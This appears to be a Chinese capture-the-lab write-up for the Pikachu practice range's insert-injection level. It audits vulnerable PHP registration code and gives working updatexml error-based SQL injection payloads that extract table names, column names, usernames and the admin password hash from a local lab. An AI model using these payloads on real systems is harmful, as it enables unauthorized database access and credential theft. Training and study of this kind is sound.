pikachu靶场通关笔记22-1 SQL注入05-1-insert注入(报错法)

news2025/6/12 8:12:21

目录

一、SQL注入

二、insert注入

三、报错型注入

四、updatexml函数

五、源码审计

六、insert渗透实战

1、渗透准备

2、获取数据库名database

3、获取表名table

4、获取列名column

5、获取字段


本系列为通过《pikachu靶场通关笔记》的SQL注入关卡(共10关)渗透集合,通过对insert/update注入关卡源码的代码审计找到SQL安全风险的真实原因,讲解insert/update注入的原理并进行渗透实践,本文为SQL注入05之insert/update注入关卡的渗透部分。

一、SQL注入

SQL 注入是指攻击者会在应用程序的输入字段中插入恶意的 SQL 代码,从而改变原有的 SQL 查询逻辑。这种攻击可能导致应用程序执行非预期的SQL语句操作,从而使攻击者能够非法访问、篡改或删除数据库中的敏感信息,甚至可能获取数据库的控制权,进而威胁到整个系统的安全性和稳定性。SQL注入攻击的常见场景如下所示,今天我们这篇文章讲的就是第三部分数据插入注入。

  • 登录表单:在许多网站的登录界面,用户需要输入用户名和密码。如果后端代码对用户输入的内容未进行严格验证,直接将其拼接到 SQL 查询语句中,攻击者就可能通过构造特殊的输入绕过正常的登录验证。
  • 搜索功能:当网站提供搜索功能时,用户输入的关键词会被用于数据库查询。若处理不当,攻击者可以利用输入的关键词进行 SQL 注入攻击,获取数据库中的敏感信息。
  • 数据插入(insert注入)与更新(update注入):在涉及数据插入(如用户注册)或更新(如修改用户信息)的操作中,如果对用户输入的数据没有进行有效的过滤和验证,攻击者可以构造恶意输入,修改数据库中的数据或执行其他恶意操作。

二、insert注入

Insert 注入是 SQL 注入攻击的一种类型,主要针对 SQL 语句中的INSERT操作。攻击者利用应用程序在处理用户输入时的安全风险,通过构造恶意输入,将非法的 SQL 代码插入到INSERT语句中,从而改变原本的插入逻辑,实现非法数据的插入、获取数据库敏感信息甚至执行系统命令等目的。

三、报错型注入

报错型注入是 SQL 注入攻击的一种常见方式,攻击者利用数据库错误信息来获取数据库中的敏感数据。

  • 原理:通过构造特殊的 SQL 语句,使数据库在执行时产生错误,并从错误信息里提取有用的数据。不同数据库系统的报错信息和报错注入方法有所差异。
  • 攻击步骤:攻击者先判断注入点,然后构造会引发特定错误的 SQL 语句。例如,在 MySQL 中可利用 UPDATEXML 函数,它在输入不符合 XML 格式时会报错并返回部分输入内容。攻击者借此获取数据库名、表名和列名等信息。
  • 防范措施:避免在应用程序中显示详细的数据库错误信息,防止攻击者从中获取线索。使用参数化查询,将用户输入和 SQL 语句分离,让数据库自动处理输入,防止恶意 SQL 代码注入。对用户输入进行严格验证和过滤,仅允许合法字符和格式。

四、updatexml函数

在 MySQL 数据库里,UPDATEXML 是一个用于更新 XML 文档内容的函数。其基本语法为 UPDATEXML(xml_document, xpath_expr, new_value),此函数的作用是在 xml_document 这个 XML 文档里,依据 xpath_expr 所指定的 XPath 表达式定位节点,接着把这些节点的值更新成 new_value。若 xpath_expr 不符合 XPath 表达式的规范,函数就会产生错误并返回包含错误信息的结果。

在报错注入中,攻击者通常将 updatexml函数的第二个参数(XPath 表达式)设置为非法值,从而引发错误。通过这种方式,攻击者可以从错误信息中提取敏感数据。假设存在一个简单的 SQL 查询语句 SELECT * FROM users WHERE id = $id,攻击者可以构造如下注入语句:

1 AND updatexml(1,CONCAT(0x7e,(SELECT database()),0x7e),1)

在这个语句中,0x7e 代表波浪线 ~,(SELECT database()) 用于获取当前数据库的名称。当数据库执行这条语句时,由于 CONCAT(0x7e,(SELECT database()),0x7e) 并非有效的 XPath 表达式,updatexml函数就会报错,错误信息中会包含当前数据库的名称。 

五、源码审计

打开pikachu靶场的SQL注入-字符型关卡对应的源码sqli_reg.php,很明显SQL语句没有对POST方法传入的多个参数进行过滤,存在SQL注入风险,具体如下所示。

<?php
// 调用 connect 函数建立与数据库的连接,并将连接对象赋值给变量 $link
$link = connect();

// 初始化用于存储 HTML 内容的变量,用于后续输出提示信息
$html = '';

// 检查是否通过 POST 方法提交了表单
if (isset($_POST['submit'])) {
    // 检查提交的表单中 username 和 password 字段是否不为空
    if ($_POST['username'] != null && $_POST['password'] != null) {
        // 注释掉的代码,原本的意图是对 POST 数据进行转义处理,防止 SQL 注入
        // $getdata = escape($link, $_POST); 

        // 未对 POST 数据进行转义处理,直接将其赋值给 $getdata 变量
        $getdata = $_POST;

        // 构造一个 SQL 插入语句,将用户输入的数据插入到 member 表中
        // 其中密码使用 md5 函数进行加密存储
        $query = "insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['add']}')";

        // 调用 execute 函数执行构造好的 SQL 插入语句
        $result = execute($link, $query);

        // 检查执行插入操作后受影响的行数是否为 1
        // mysqli_affected_rows 函数用于获取上次 SQL 操作受影响的行数
        if (mysqli_affected_rows($link) == 1) {
            // 如果插入成功,将提示信息拼接成 HTML 字符串,添加到 $html 中
            $html .= "<p>注册成功,请返回<a href='sqli_login.php'>登录</a></p>";
        } else {
            // 如果插入失败,将提示信息拼接成 HTML 字符串,添加到 $html 中
            $html .= "<p>注册失败,请检查下数据库是否还活着</p>";
        }
    } else {
        // 如果 username 或 password 字段为空,将提示信息拼接成 HTML 字符串,添加到 $html 中
        $html .= "<p>必填项不能为空哦</p>";
    }
}
?>

此代码存在 SQL 注入安全风险,主要原因是对用户输入的数据未进行任何转义或验证处理。代码中原本注释掉了转义函数调用 $getdata = escape($link, $_POST);,而直接使用 $getdata = $_POST; 将用户输入的数据拼接到 SQL 插入语句中。攻击者可通过构造特殊的输入内容来改变 SQL 语句的逻辑,从而实现恶意操作。如下所示传入的参数中username, pw, sex, phonenum, email, address均为注入点。

insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['add']}')

构造闭合语句:liujiannan01' and updatexml(0, concat(0x7e,database()),1) or ' 

六、insert渗透实战

1、渗透准备

打开靶场SQL注入第五关insert型注入,点击注册后进入注册页面,页面包括需要填写的用户名、密码、性别、邮寄、邮箱和住址信息,这与代码审计的分析一致,完整URL地址如下所示。

http://127.0.0.1/pikachu/vul/sqli/sqli_iu/sqli_reg.php

bp开启抓包在注册信息中填写内容,并点击注册,如下所示。 

burpsuite抓包,找到这个注册报文,具体信息如下所示,POST方法传参包括username, pw, sex, phonenum, email, address,这与源码分析一致,由于使用POST方法传参,故而我们使用bp进行渗透。

2、获取数据库名database

ljn630_2' and updatexml(0, concat(0x7e,database()),1) or '

输入ljn630_2' and updatexml(0, concat(0x7e,database()),1) or '后点击注册,如下所示。

此时页面提示报错信息,爆出数据库的名称为“pikachu”,具体如下所示。  

此时burpsuite抓包如下所示,将报文发送到repeater,后续通过修改POST内容进行注入。

3、获取表名table

对pikchu数据库中表名进行爆破,注入命令如下所示。

username=' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu')),0) or '&password=1&sex=2&phonenum=3&email=4&add=5&submit=submit

渗透后获取到数据库pikachu表有4个以上的table表,但是第五个没有展示全,只有一个x字符,其他前四个分别为httpinfo, member,message, users,如下所示。

之所以没有展示全是因为update的报错信息最多展示32个字符,出去第一个字符是报错的波浪线以外,也就是说有效的字符只能显示31个。接下来使用right函数显示从右到左31个字符,具体注入命令如下所示 。

username=' or updatexml(1, concat(0x7e,right((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),31)),0) or '&&password=1&sex=2&phonenum=3&email=4&add=5&submit=submit

点击发送后,展示从右开始31个字符,与上一个图片对比可知最后一个table表为xssblind。

4、获取列名column

对pikchu数据库中users表中的列名进行爆破,注入命令如下所示。

username=' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='pikachu'
)),0) or '&&password=1&sex=2&phonenum=3&email=4&add=5&submit=submit

渗透后获取到数据库users表有4个column列,分别为id,username,password,level,如下所示。 

5、获取字段

对pikachu数据库中users表的username列进行爆破,命令如下所示。

username=' or updatexml(1,concat(0x7e,(select group_concat(username) from users)),0) or '&&password=1&sex=2&phonenum=3&email=4&add=5&submit=submit

渗透后获取到数据库users表的username字段如下所示,渗透成功。  

接下来获取admin账户的密码,注入命令如下所示但是没有显示完全,如下所示。 

username=' or updatexml(1,concat(0x7e,(select group_concat(password) from users where username='admin')),0) or '&&password=1&sex=2&phonenum=3&email=4&add=5&submit=submit

我们通过substr函数获取admin账户的密码的第32位开始的31个字符串,注入命令如下所示显示了一个字符e,拼接后即可获取到admin的密码,e10adc3949ba59abbe56e057f20f883e,如下所示。  

username=' or updatexml(1,concat(0x7e,substr((select group_concat(concat(password)) from users where username='admin'),32,31)),1)  or '&&password=1&sex=2&phonenum=3&email=4&add=5&submit=submit

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2407477.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Redis数据倾斜问题解决

Redis 数据倾斜问题解析与解决方案 什么是 Redis 数据倾斜 Redis 数据倾斜指的是在 Redis 集群中&#xff0c;部分节点存储的数据量或访问量远高于其他节点&#xff0c;导致这些节点负载过高&#xff0c;影响整体性能。 数据倾斜的主要表现 部分节点内存使用率远高于其他节…

mysql已经安装,但是通过rpm -q 没有找mysql相关的已安装包

文章目录 现象&#xff1a;mysql已经安装&#xff0c;但是通过rpm -q 没有找mysql相关的已安装包遇到 rpm 命令找不到已经安装的 MySQL 包时&#xff0c;可能是因为以下几个原因&#xff1a;1.MySQL 不是通过 RPM 包安装的2.RPM 数据库损坏3.使用了不同的包名或路径4.使用其他包…

Map相关知识

数据结构 二叉树 二叉树&#xff0c;顾名思义&#xff0c;每个节点最多有两个“叉”&#xff0c;也就是两个子节点&#xff0c;分别是左子 节点和右子节点。不过&#xff0c;二叉树并不要求每个节点都有两个子节点&#xff0c;有的节点只 有左子节点&#xff0c;有的节点只有…

selenium学习实战【Python爬虫】

selenium学习实战【Python爬虫】 文章目录 selenium学习实战【Python爬虫】一、声明二、学习目标三、安装依赖3.1 安装selenium库3.2 安装浏览器驱动3.2.1 查看Edge版本3.2.2 驱动安装 四、代码讲解4.1 配置浏览器4.2 加载更多4.3 寻找内容4.4 完整代码 五、报告文件爬取5.1 提…

图表类系列各种样式PPT模版分享

图标图表系列PPT模版&#xff0c;柱状图PPT模版&#xff0c;线状图PPT模版&#xff0c;折线图PPT模版&#xff0c;饼状图PPT模版&#xff0c;雷达图PPT模版&#xff0c;树状图PPT模版 图表类系列各种样式PPT模版分享&#xff1a;图表系列PPT模板https://pan.quark.cn/s/20d40aa…

tree 树组件大数据卡顿问题优化

问题背景 项目中有用到树组件用来做文件目录&#xff0c;但是由于这个树组件的节点越来越多&#xff0c;导致页面在滚动这个树组件的时候浏览器就很容易卡死。这种问题基本上都是因为dom节点太多&#xff0c;导致的浏览器卡顿&#xff0c;这里很明显就需要用到虚拟列表的技术&…

Spring数据访问模块设计

前面我们已经完成了IoC和web模块的设计&#xff0c;聪明的码友立马就知道了&#xff0c;该到数据访问模块了&#xff0c;要不就这俩玩个6啊&#xff0c;查库势在必行&#xff0c;至此&#xff0c;它来了。 一、核心设计理念 1、痛点在哪 应用离不开数据&#xff08;数据库、No…

如何在最短时间内提升打ctf(web)的水平?

刚刚刷完2遍 bugku 的 web 题&#xff0c;前来答题。 每个人对刷题理解是不同&#xff0c;有的人是看了writeup就等于刷了&#xff0c;有的人是收藏了writeup就等于刷了&#xff0c;有的人是跟着writeup做了一遍就等于刷了&#xff0c;还有的人是独立思考做了一遍就等于刷了。…

如何理解 IP 数据报中的 TTL?

目录 前言理解 前言 面试灵魂一问&#xff1a;说说对 IP 数据报中 TTL 的理解&#xff1f;我们都知道&#xff0c;IP 数据报由首部和数据两部分组成&#xff0c;首部又分为两部分&#xff1a;固定部分和可变部分&#xff0c;共占 20 字节&#xff0c;而即将讨论的 TTL 就位于首…

Android 之 kotlin 语言学习笔记三(Kotlin-Java 互操作)

参考官方文档&#xff1a;https://developer.android.google.cn/kotlin/interop?hlzh-cn 一、Java&#xff08;供 Kotlin 使用&#xff09; 1、不得使用硬关键字 不要使用 Kotlin 的任何硬关键字作为方法的名称 或字段。允许使用 Kotlin 的软关键字、修饰符关键字和特殊标识…

C++ Visual Studio 2017厂商给的源码没有.sln文件 易兆微芯片下载工具加开机动画下载。

1.先用Visual Studio 2017打开Yichip YC31xx loader.vcxproj&#xff0c;再用Visual Studio 2022打开。再保侟就有.sln文件了。 易兆微芯片下载工具加开机动画下载 ExtraDownloadFile1Info.\logo.bin|0|0|10D2000|0 MFC应用兼容CMD 在BOOL CYichipYC31xxloaderDlg::OnIni…

【Oracle】分区表

个人主页&#xff1a;Guiat 归属专栏&#xff1a;Oracle 文章目录 1. 分区表基础概述1.1 分区表的概念与优势1.2 分区类型概览1.3 分区表的工作原理 2. 范围分区 (RANGE Partitioning)2.1 基础范围分区2.1.1 按日期范围分区2.1.2 按数值范围分区 2.2 间隔分区 (INTERVAL Partit…

【开发技术】.Net使用FFmpeg视频特定帧上绘制内容

目录 一、目的 二、解决方案 2.1 什么是FFmpeg 2.2 FFmpeg主要功能 2.3 使用Xabe.FFmpeg调用FFmpeg功能 2.4 使用 FFmpeg 的 drawbox 滤镜来绘制 ROI 三、总结 一、目的 当前市场上有很多目标检测智能识别的相关算法&#xff0c;当前调用一个医疗行业的AI识别算法后返回…

RNN避坑指南:从数学推导到LSTM/GRU工业级部署实战流程

本文较长&#xff0c;建议点赞收藏&#xff0c;以免遗失。更多AI大模型应用开发学习视频及资料&#xff0c;尽在聚客AI学院。 本文全面剖析RNN核心原理&#xff0c;深入讲解梯度消失/爆炸问题&#xff0c;并通过LSTM/GRU结构实现解决方案&#xff0c;提供时间序列预测和文本生成…

学习STC51单片机32(芯片为STC89C52RCRC)OLED显示屏2

每日一言 今天的每一份坚持&#xff0c;都是在为未来积攒底气。 案例&#xff1a;OLED显示一个A 这边观察到一个点&#xff0c;怎么雪花了就是都是乱七八糟的占满了屏幕。。 解释 &#xff1a; 如果代码里信号切换太快&#xff08;比如 SDA 刚变&#xff0c;SCL 立刻变&#…

3-11单元格区域边界定位(End属性)学习笔记

返回一个Range 对象&#xff0c;只读。该对象代表包含源区域的区域上端下端左端右端的最后一个单元格。等同于按键 End 向上键(End(xlUp))、End向下键(End(xlDown))、End向左键(End(xlToLeft)End向右键(End(xlToRight)) 注意&#xff1a;它移动的位置必须是相连的有内容的单元格…

蓝桥杯3498 01串的熵

问题描述 对于一个长度为 23333333的 01 串, 如果其信息熵为 11625907.5798&#xff0c; 且 0 出现次数比 1 少, 那么这个 01 串中 0 出现了多少次? #include<iostream> #include<cmath> using namespace std;int n 23333333;int main() {//枚举 0 出现的次数//因…

什么是Ansible Jinja2

理解 Ansible Jinja2 模板 Ansible 是一款功能强大的开源自动化工具&#xff0c;可让您无缝地管理和配置系统。Ansible 的一大亮点是它使用 Jinja2 模板&#xff0c;允许您根据变量数据动态生成文件、配置设置和脚本。本文将向您介绍 Ansible 中的 Jinja2 模板&#xff0c;并通…

优选算法第十二讲:队列 + 宽搜 优先级队列

优选算法第十二讲&#xff1a;队列 宽搜 && 优先级队列 1.N叉树的层序遍历2.二叉树的锯齿型层序遍历3.二叉树最大宽度4.在每个树行中找最大值5.优先级队列 -- 最后一块石头的重量6.数据流中的第K大元素7.前K个高频单词8.数据流的中位数 1.N叉树的层序遍历 2.二叉树的锯…

项目部署到Linux上时遇到的错误(Redis,MySQL,无法正确连接,地址占用问题)

Redis无法正确连接 在运行jar包时出现了这样的错误 查询得知问题核心在于Redis连接失败&#xff0c;具体原因是客户端发送了密码认证请求&#xff0c;但Redis服务器未设置密码 1.为Redis设置密码&#xff08;匹配客户端配置&#xff09; 步骤&#xff1a; 1&#xff09;.修…